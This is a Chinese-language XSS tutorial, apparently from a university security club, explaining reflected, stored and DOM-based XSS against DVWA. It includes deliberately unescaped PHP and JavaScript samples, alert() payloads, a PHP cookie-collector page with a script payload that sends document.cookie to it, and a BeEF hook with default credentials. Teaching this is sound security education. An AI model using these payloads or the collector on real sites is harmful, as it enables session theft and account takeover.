前言
XSS漏洞
Xss(Cross-Site Scripting)意為跨站腳本攻擊,為了不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。XSS漏洞是一種在WEB應用中常見的安全漏洞,它孕育用戶將惡意代碼植入web頁面,當其他用戶訪問此頁面時,植入的惡意代碼就會在其他用戶的客戶端中執行。
XSS漏洞的危害很多,可以通過XSS漏洞獲取客戶端信息(cookie),可以通過XSS蠕蟲進行信息傳播,可以再客戶端中植入木馬,可以結合其他漏洞攻擊服務器,在服務器中植入木馬
我們可以參考這張圖的攻擊場景,用戶男發給用戶女一段含有XSS攻擊的代碼,此時用戶女觸發后用戶女的cookie數據傳遞給了用戶男,此時用戶男就可以利用這段cookie登陸用戶女的賬戶。
XSS漏洞分類
xss漏洞分為三種分別為:反射型、存儲型、DOM型
1.反射型
利用反射型XSS漏洞植入的惡意代碼不會存儲在服務器端,一般容易出現在搜索頁面,需要構造植入惡意代碼的web頁面,誘騙受害者訪問該頁面,才能觸發攻擊。
測試代碼:
<?php if (isset($_GET['name'])) { $name=$_GET['name']; echo "<h1> Hello ".$name."<h1>"; }else{ exit(); } ?>
這段代碼是接受用戶get傳進來的參數賦值給$name變量 打印到頁面中 我們看到這段代碼沒有任何過濾 所以此時我們傳入<script>alert("xiaohua")</script>
Payload: http://127.0.0.1/test.php?name=<script>alert("xiaohua")</script>
此時XSS漏洞觸發 利用方法在最后面部分!
2.存儲型
利用存儲型XSS的惡意代碼在服務器中,一般植入留言板、個人信息、文章發表等功能的頁面中。如果頁面對用戶輸入的數據過濾不嚴格,惡意用戶將惡意代碼存儲到服務器中。這種類型的XSS漏洞危害非常嚴重,因為惡意代碼會存儲到服務器中,客戶端每次訪問服務器都會觸發惡意代碼
3.DOM型
DOM型XSS漏洞是基於文檔對象模型(Document Object Model)的一種XSS漏洞
DOM參考這里: https://www.w3school.com.cn/htmldom/index.asp
示例代碼:
<script type="text/javascript"> function domxss(){ var str=document.getElementById("input").value; document.getElementById("output").innerHTML=str; } </script> <h2 id="output"></h2> <input type="text" id="input" value=""> <input type="button" value="submit" onclick="domxss()">
代碼中domxss函數,此函數通過DOM將input節點的值作為變量賦予output節點
當輸入xiaohua時,通過domxss函數會將output節點賦值為xiaohua
如果輸入<img src=1 onerror=alert(/xiaohua2020/) />時通過domxss函數會將output節點賦值為<img src=1 onerror=alert(/xiaohua2020/) />頁面會由於執行錯誤而出發彈窗
無法加載該圖片,所以觸發onerror函數。src屬性可以填任意錯誤的路徑。
XSS漏洞利用
1.例1-本地搭建頁面盜取cookie
本地服務器創建cookie.php頁面 輸入此內容用於接收cookie傳過來的值 存入cookie.txt折個文件
<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>
打開榆林學院信息安全協會搭建的DVWA平台 選擇XSS(Refilected) 反射型XSS頁面在輸入框輸入<script>alert("xiaohua")</script>回車看到彈窗說明存在XSS漏洞
榆林學院信息安全協會DWVA平台平帶地址:http://101.201.65.164/DVWA/
我們利用本地搭建的盜取cookie的頁面進行構造:<script>document.location="http://127.0.0.1/lou/cookie.php?cookie="+document.cookie</script> 輸入進去回車
查看本地獲取cookie頁面的根目錄cookie.txt文件打開可以看到成功獲取到了cookie
例2-利用BeEF盜取cookie
BeEF安裝目錄:/usr/share/beff-xss
默認管理頁面:頁面:http://127.0.0.1:3000/ui/panel 默認用戶名密碼都是beef
利用腳本<script src="http://127.0.0.1:3000/hook.js"></script>
反射型例子
填入訪問即可獲得coolie到beef客戶端
DWVA是外網的架構在我們榆林學院信息安全協會訓練平台的服務器上大家可以訪問進行練習:
http://101.201.65.164/DVWA/login.php
成功盜取
推薦資料
資料:
XSS漏洞實例
鏈接:https://pan.baidu.com/s/1NcPQapMMjehMQSXrF3qH_g
提取碼:hpoh
書:
《web前端黑客技術揭秘》
《XSS跨站腳本攻擊剖析與防御》